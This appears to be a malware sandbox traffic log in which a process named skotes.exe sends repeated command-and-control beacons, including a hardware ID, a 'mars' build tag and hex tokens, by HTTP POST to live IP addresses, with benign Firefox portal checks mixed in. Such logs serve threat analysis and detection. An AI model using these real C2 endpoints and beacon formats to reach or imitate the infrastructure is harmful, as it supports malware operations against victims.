Nov 19, 2024 22:10:02.565644026 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:10:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 22:10:02.567522049 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 42 43 46 38 36 38 36 46 32 37 32 30 32 39 37 34 31 31 31 39 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="hwid"FDBCF8686F272029741119------IJDGCAEBFIIECAKFHIJEContent-Disposition: form-data; name="build"mars------IJDGCAEBFIIECAKFHIJE--
Nov 19, 2024 22:10:02.783580065 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:10:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50300	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:02.433273077 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:10:02.638123035 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50301	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:04.355472088 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:04.566245079 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50305	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:08.758980989 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:08.971307993 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	50311	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:09.451066017 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:09.542464972 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53115 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:09.650614023 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:09.741823912 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53115 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:09.763113976 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:09.854243040 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53115 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:10.006805897 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:10.098995924 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53116 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:10.226329088 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:10.323407888 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53116 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:10.342701912 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:10.436362982 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53116 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	50322	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:09.851897001 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:09.946506023 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60951 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	50326	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:10.031179905 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:10.125356913 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 08:23:05 GMT Age: 46025 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	50330	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:10.294939995 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:10.386374950 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60952 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	50332	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:10.420377970 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 22:10:10.513127089 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 04:14:18 GMT Age: 60952 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50333	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:10.880808115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:10:11.085654974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50334	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:12.809052944 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:13.024780035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50335	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:14.865804911 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:10:15.073483944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50336	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:16.795243979 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:17.004885912 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50337	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:18.835741043 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:10:19.043158054 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50338	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:20.776458979 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 19, 2024 22:10:20.986131907 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50343	185.215.113.43	80	7736	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:22.880197048 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 22:10:23.087924957 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 21:10:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	50351	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 22:10:23.173548937 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:23.267395020 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53129 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:23.729479074 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:23.823492050 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53129 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:23.844202042 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 22:10:23.939938068 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 06:24:54 GMT Age: 53129 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 22:10:24.008564949 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
